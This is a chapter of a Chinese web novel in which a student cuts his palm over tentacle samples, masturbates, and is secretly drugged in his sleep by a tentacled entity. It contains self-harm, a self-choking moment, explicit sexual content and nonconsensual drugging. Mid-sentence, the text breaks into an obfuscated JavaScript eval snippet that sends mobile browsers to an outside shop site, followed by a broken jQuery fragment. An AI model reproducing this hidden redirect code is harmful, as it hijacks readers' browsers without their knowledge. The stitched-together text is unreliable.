22. 第 22 章
    人一走,四周顿时变得清净不少,陆禾刚刚说话并没有刻意放低声音,所以周围有几个师弟师妹也是听见了他们的交谈的。

    到中午的时候,已经很少有人用异样的眼神悄悄观察他了。

    警方用完测谎仪都把人放回来了,他们还有什么好猜测的。

    午休的实验室很快就变得人影稀疏,待最后一个记录完实验数据的学弟离开后,就只剩下陆禾一个人了。

    他坐在自己的位置上出神,说不清自己在想刚刚陆山发来的消息,还是在想别的什么。

    或许都有。

    旧人突如其来的造访最能提醒人现在的处境,陆禾突然意识到,现在的自己就像是十几年前从陆家出来,刚解除收养关系一样。

    或许曾经拥有过什么。

    但最终仍旧落得孑然一身。

    桌面下的膝盖碰到了硬物,是陆禾用来存储实验样本的保鲜箱。

    他所有的实验样本都会在论文完成后再保留一个月,避免出现需要重复实验但无法还原实验环境的情况。

    陆禾目光微顿,突然想起了什么。

    死寂的心泛起些许波澜,修长的手指猛地抓住保鲜箱的玻璃门把手上。

    视线余光扫到手腕上一圈带着深紫色圆痕的红印,陆禾的动作顿了顿。

    他看了一眼走廊外,确定没有其他人,才将玻璃门打开。

    陆禾拿出几个培养皿。

    培养皿侧面贴了标签,标了对照组1、2、3和里面使用的强弱酸碱试剂类型。

    标签时间久了黏性不好,陆禾手指碰了一下就脱落掉在了地上。

    但他也没有要捡的意思。

    培养皿里的样本如此熟悉,陆禾甚至能想起自己是从当初那一小截触手的哪个部位用哪个角度切下来的。

    当初的那截触手活了,却不见了。

    而这一点样本还在,却依旧没有焕发出任何生机。

    陆禾像是着了魔一样,从旁边摸来一把也不知道干不干净的刀片,手起刀落,划破了自己的掌心。

    将手掌用力捏紧,鲜血从拳心的缝隙之中汩汩流出。

    培养皿玻璃夹层里的电子元件发出红色的警示光,提示样本发生了污染。

    但当事人只是置若罔闻。

    他紧紧地盯着那一小截触手切片。

    良久。

    掌心缓缓松开,陆禾靠在椅背上,脸色苍白地笑了一下。

    陆禾突然剧烈地咳嗽起来,胸膛里的气流失控一般乱窜,连同呼吸都没了节奏。

    鲜血仍然顺着伤口滴滴答答地往下落,陆禾任凭它淌了一会儿,才拿了块干净纱布随便包扎了一下。

    尽管这是他早已预料到的结果。

    但这一次,却没有谁轻轻卷着他的手腕,用生涩的话语,让他不要再伤害自己了。

    果然。

    他还是什么也没有。

    陆禾闭了闭眼,起身走出教室。

    *

    下楼时,陆禾一直无法集中注意力,走路的脚步虚晃,差点踩空。

    幸好及时抓住旁边的扶手,才没有直接从台阶高处摔下去。

    头顶传来轰一声,声音太大,导致陆禾都忽略了自己疯狂加速的心跳。

    他看了一眼,头上是通风管,刚才的声音似乎就是通风管里发出来的。

    是共振吗?学校的通风管、水管之类的管道早就老化了,不时就会嗡一声震一下,学生们早就习惯了。

    只是平常在实验室里听到的,似乎没有这么大声。

    陆禾没多想,定了定心神,继续下楼。

    通风管道里血红色弥漫,几根已经扭曲到看不清形状的触手正贴着管道内壁缓慢地蠕动着,腕足上的吸盘失去了节律,不规则地收缩舒张,场面有些令头皮发麻。

    一根勉强还能辨认出样子的触手伸到半空,腕足弯了弯,想要打一个圈,像是平日里圈着那段纤瘦的腰肢一般,却也做不到。

    通风管道里一阵沉默。

    触手用力在管道上砸了一下,发出砰的一声响,吓到了路人。

    祂缓缓缩回黑暗之中,触手所过之处,留下一片腥红的黏液。

    “陆禾…陆禾……”

    阴郁沉闷,像是从渊洞里远远传来的低语回响,带着几乎无法压抑的痛苦。

    *

    回到宿舍后,陆禾洗了个澡。

    他从浴室里带着水汽出来,将身上的水擦干,直接躺上床,打开了他很久没有看过的视频。

    人在精神上郁郁寡欢的时候,通常会寻求其他方面的快乐,或者发泄。

    有的去锻炼健身,有的暴饮暴食,还有人会喝酒甚至酗酒。

    陆禾也有自己的习惯。

    映入眼帘的是一片牛奶般的白,肤若凝脂,让人忍不住想象用力在上面留下一个个凹陷的场景。

    拍摄者显然很懂观众们想要什么。

    于是很快,一双蜜色的有力手臂,就掐上了那纤细柔软的腰肢。

    屋内关着灯,身量清瘦的少年倚在枕头上,他挽起袖子时露出的一小截胳膊,甚至比视频里的人还要细腻白嫩。

    轻微的呼吸声在夜色里,渐渐显出几分急促。

    虽然是一种习惯的发泄方式,但陆禾其实极少做这种事。

    他并不是一个需求很强的人,而且因为从小到大的各种困难,他的抗压能力可以说是非常好。

    所以他几乎从不通过这种最本能的欢愉来放松自己。

    但今天发生的事情太多,已经隐隐超过了他能承受的阈值。

    伴随着一声轻微的闷哼,原本弓着的腰背有一瞬间的蜷缩。

    随即便是彻底的放松,和涌入大脑的一片空白。

    等他从发白的状态回过神的时候,陆禾低头,看见自己空着的另一只手,早已在他自己都没注意到的状态下,扼住了自己的脖颈。

    ………

    陆禾闭了闭眼。

    不知多久,陆禾终于爬起身。

    用卫生纸将自己清理干净,随手把脏污丢进了垃圾篓里,转过头时,丢在一旁的光脑屏幕上,视频还在放着。

    蜜色高大宽阔,纯白纤细小巧,前者几乎完全把控着后者,覆盖交融在一起,显得特别漂亮。

    陆禾喜欢这样的场景。

    当然,他最喜欢这一部的原因是,两个男主的脸都没有出镜。

    他似乎从没有喜欢过谁的脸。

    将视频关了,陆禾起身去浴室洗澡,迈入浴室门的时候,他轻轻蹙了蹙眉。

    虽然结束了,但他好像并没有像以前的每一次那样稍稍缓解了压力。

    反而,还有一些不够尽兴的感觉。

    但陆禾并不允许自己过度沉湎于这种事,所以他没有多想,走到淋浴下方拧开水阀。温热的水流落下,响起一阵哗哗的响声,自然而然形成的白噪音,松缓了陆禾的神经。

    他挤了两泵沐浴露,打算好好清理一下,但涂抹的时候,陆禾轻轻嘶了一声。

    低头时才发现,好像有点肿。

    是刚刚太激烈了吗?

    ……不,不是。

    是上一次的肿还没完全消。

    陆禾猛地意识到,自己刚刚那种“不够尽兴”的感觉是从哪里来的了。

    他的身体,居然不知不觉间已经适应,甚至痴迷上了“祂”带来的,各种沉浮飘荡的感觉。

    本想做些别的什么让大脑空一空,转移一下注意力。

    但最终兜兜转转,思维还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129107|147843||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是回到了同样的事情上。

    陆禾无力地按下水阀。

    随即便是良久的,直至他昏昏沉沉,彻底睡去的寂静。

    咕…啾……

    “陆禾…”

    咕啾咕啾……

    “陆禾…我的陆禾……”

    猩红色自墙角而起,逐渐爬满了墙,原本深紫色的触手,此时此刻像是被什么东西绞碎了一般,成了一团血红的烂肉。

    祂近乎痴迷地捕捉着空气里残余的气味,从陆禾头顶的天花板一路挪动往下,直到鲜红的丝状肉线在空气中胡乱挥舞,尖端几乎触碰到陆禾的肌肤,才堪堪停下。

    “陆…禾……”

    祂的声音破碎而模糊,却充满了所有物种都能听出来的渴望。

    浓烈的渴望。

    血红色的碎肉突然顿了一下,无规则的肉堆突然扭曲起来。

    祂的声音陡然变得有些尖锐,发出“嗬嗬”的奇怪哼鸣声,血肉缩成一团,表层接连涌出突起,像是有什么东西要从一层薄膜之中破茧而出。

    但良久后,又重新散开,变成原来的模样。

    祂发出痛苦的嘶吼。

    床上安眠的人发出一声呓语,墙面上的生物顿时安静了一瞬,甚至不断往下延伸的丝状血肉,也下意识地回退了一下。

    但陆禾只是单纯地翻了个身而已。

    又或者,并不单纯……

    望着被子中央多出来的一个小帐篷,祂明显地顿了顿。

    发达的主脑和副脑很快锁定了记忆里的场景,上一次,陆禾被祂的触手弄得像个坏了的水龙头一般的时候,身体也出现了这样的反应。

    祂很清楚地记得当时在陆禾的求·饶声里品尝到的味道。

    极致的空白与极致的欢·愉。

    又响起两声呓语,祂观察了一下底下的人,意识到陆禾应该在做梦。

    两根纤细的丝状血肉伸出,一左一右地刺在陆禾的颈侧动脉上。

    少量的神经性毒素注入,很快,床铺上的人就轻轻地扭动起来。

    陆禾不知道,尽管他用自己做实验,成功猜测出来了许多有关“祂”的各种信息和线索,但在神经性毒素这一方面,他掌握的资料还太少。

    不同的剂量产生不同的效果,这一点的确没错。

    但还有一点。

    只要“祂”想,便可以通过神经性毒素的注入,和触手连接神经元的方式,成功读取到“猎物”脑海里的一切。

    包括梦境。

    于是当又一次看到蜜色与白色的调和时,“祂”忍不住看了一眼床头放着的,屏幕熄灭了的光脑。

    这跟祂刚刚躲在暗处,偷看陆禾自·渎时,余光扫到的视频一模一样。

    陆禾又一次意识到,自己应该是在做梦。

    因为这个梦他很熟悉,或者说,睡前他刚刚看过。

    只不过这一次,他从旁观视角,变成了主视角。

    当他低下头,视线在腰侧看到那只用力抓紧导致血管贲张的大手时,他整个人哆嗦了一下。

    身体被抱紧,陆禾被迫直起身。

    手掌托起他的下巴,覆盖上唇。

    温凉的。

    不是热的。

    陆禾缓缓睁开眼,震惊地发现面前的男人,居然逐渐开始有了脸。

    只是还没等他仔细将人的模样看清楚……

    他看见几根深紫色的触手,从男人背后破开皮肤,伸展出来。

    陆禾猛地惊醒。

    眼神直勾勾地盯着天花板,五感逐渐回笼,却并没有注意到一阵很快消失的窸窸窣窣声。

    因为他的注意力另有所处。

    刚刚他在空气里,精准地捕捉到了一丝还没来得及散去的,淡淡的腥甜味。